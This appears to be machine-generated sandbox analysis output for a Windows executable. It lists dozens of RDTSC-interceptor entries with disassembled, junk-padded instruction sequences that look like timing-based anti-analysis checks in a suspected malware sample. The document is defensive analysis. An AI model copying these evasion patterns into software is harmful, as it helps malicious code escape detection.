Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7894A8 second address: 7894FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FECC5476B38h 0x0000000f pushad 0x00000010 jne 00007FECC5476B26h 0x00000016 jmp 00007FECC5476B30h 0x0000001b popad 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007FECC5476B30h 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7894FD second address: 78951A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECC5126368h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78951A second address: 789545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D1ED3h], edx 0x0000000e push 5929F637h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FECC5476B36h 0x0000001a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 789545 second address: 78954C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78A1AD second address: 78A1CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78A1CE second address: 78A1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FECC5126356h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78A5CA second address: 78A5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FECC5476B33h 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78A5E6 second address: 78A5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FECC5126356h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78A775 second address: 78A783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FECC5476B2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78A783 second address: 78A798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jo 00007FECC5126364h 0x0000000c pushad 0x0000000d jnl 00007FECC5126356h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78B7A0 second address: 78B7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B37h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FECC5476B37h 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78B7D5 second address: 78B7D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78B7D9 second address: 78B835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a sub esi, 5CCD13FBh 0x00000010 push 00000000h 0x00000012 call 00007FECC5476B38h 0x00000017 mov edi, dword ptr [ebp+122D2C9Ah] 0x0000001d pop esi 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007FECC5476B28h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a push eax 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78B835 second address: 78B839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78B629 second address: 78B63F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECC5476B2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78DE28 second address: 78DE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126369h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78DE46 second address: 78DE4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78DE4C second address: 78DE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78DE50 second address: 78DEB9 instructions: 0x00000000 rdtsc 0x00000002 js 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e jmp 00007FECC5476B2Ch 0x00000013 pop esi 0x00000014 nop 0x00000015 and si, 5A4Dh 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FECC5476B28h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c jmp 00007FECC5476B30h 0x00000041 jmp 00007FECC5476B33h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78DEB9 second address: 78DEBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78DB94 second address: 78DB9E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78E7CA second address: 78E7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7941B9 second address: 7941BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7941BD second address: 7941C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7941C3 second address: 79422E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECC5476B28h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D3327h], esi 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+1245A9F9h], edi 0x0000001b push 00000000h 0x0000001d jmp 00007FECC5476B38h 0x00000022 xchg eax, esi 0x00000023 jng 00007FECC5476B42h 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c jmp 00007FECC5476B38h 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FECC5476B2Fh 0x0000003b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79422E second address: 794238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7906D6 second address: 7906E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7906E7 second address: 7906ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7906ED second address: 7906F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79530D second address: 795312 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7954E8 second address: 7954F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FECC5476B26h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79731F second address: 797323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7982ED second address: 7982F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7982F1 second address: 7982FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 797506 second address: 79751D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79751D second address: 797523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 797523 second address: 797527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 797527 second address: 79758D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+124520AFh], ecx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jnp 00007FECC512635Ah 0x0000001f mov bx, D82Ah 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a adc edi, 6E5C92CFh 0x00000030 mov eax, dword ptr [ebp+122D0CADh] 0x00000036 and di, 87E0h 0x0000003b push FFFFFFFFh 0x0000003d stc 0x0000003e nop 0x0000003f jmp 00007FECC512635Dh 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jl 00007FECC5126358h 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7985C0 second address: 7985CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7985CA second address: 7985CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7985CE second address: 7985ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 799698 second address: 79969C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79969C second address: 7996A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79C85A second address: 79C85E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79C85E second address: 79C864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79D8C4 second address: 79D8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FECC5126367h 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79D8E2 second address: 79D8E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79C96E second address: 79CA09 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC512635Ch 0x00000008 jnl 00007FECC5126356h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FECC5126358h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov ebx, dword ptr [ebp+122D3A79h] 0x00000033 push dword ptr fs:[00000000h] 0x0000003a stc 0x0000003b mov ebx, edx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov bh, 84h 0x00000046 mov eax, dword ptr [ebp+122D117Dh] 0x0000004c mov dword ptr [ebp+122D30A0h], esi 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007FECC5126358h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 0000001Dh 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e sub dword ptr [ebp+122D297Ah], eax 0x00000074 nop 0x00000075 push esi 0x00000076 jng 00007FECC512635Ch 0x0000007c pop esi 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 push ecx 0x00000081 pushad 0x00000082 popad 0x00000083 pop ecx 0x00000084 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79CA09 second address: 79CA14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FECC5476B26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79E95D second address: 79E961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79E961 second address: 79E9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D3A35h] 0x00000010 mov bl, D6h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FECC5476B28h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e movsx ebx, cx 0x00000031 sub dword ptr [ebp+122D37A9h], ebx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007FECC5476B28h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FECC5476B36h 0x0000005b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 79EBC5 second address: 79EBCF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECC512635Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A0BBF second address: 7A0BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A0BC6 second address: 7A0BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A1C6F second address: 7A1C81 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECC5476B28h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A1C81 second address: 7A1C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A1C85 second address: 7A1C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A1D57 second address: 7A1D5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A3BBA second address: 7A3BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FECC5476B26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A3BC5 second address: 7A3BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A3BCB second address: 7A3BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AACAB second address: 7AACAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AACAF second address: 7AACD2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007FECC5476B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FECC5476B37h 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AACD2 second address: 7AACDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FECC5126356h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AACDE second address: 7AAD0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B36h 0x00000007 jng 00007FECC5476B26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FECC5476B26h 0x00000017 jp 00007FECC5476B26h 0x0000001d rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AAD0C second address: 7AAD40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126366h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FECC5126365h 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AAD40 second address: 7AAD5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AAD5C second address: 7AAD73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECC512635Bh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AA89F second address: 7AA8B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7AA8B4 second address: 7AA8BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A3D33 second address: 7A3D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7A3D37 second address: 7A3D41 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B2027 second address: 7B202B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B8636 second address: 7B8660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126364h 0x00000007 jnp 00007FECC512635Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B8660 second address: 7B8666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B8666 second address: 7B866A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B731A second address: 7B7338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FECC5476B36h 0x0000000d rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B7932 second address: 7B7937 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B7AAE second address: 7B7AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FECC5476B36h 0x0000000b jnl 00007FECC5476B26h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FECC5476B2Eh 0x0000001a pushad 0x0000001b popad 0x0000001c js 00007FECC5476B26h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B7AEC second address: 7B7AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B7F15 second address: 7B7F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B7F1B second address: 7B7F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B81EF second address: 7B81F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
